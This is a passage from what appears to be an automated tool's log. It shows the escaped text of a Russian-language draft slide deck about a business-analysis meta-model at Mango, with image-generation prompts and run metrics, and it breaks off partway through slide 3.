\"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:49:33.529Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f 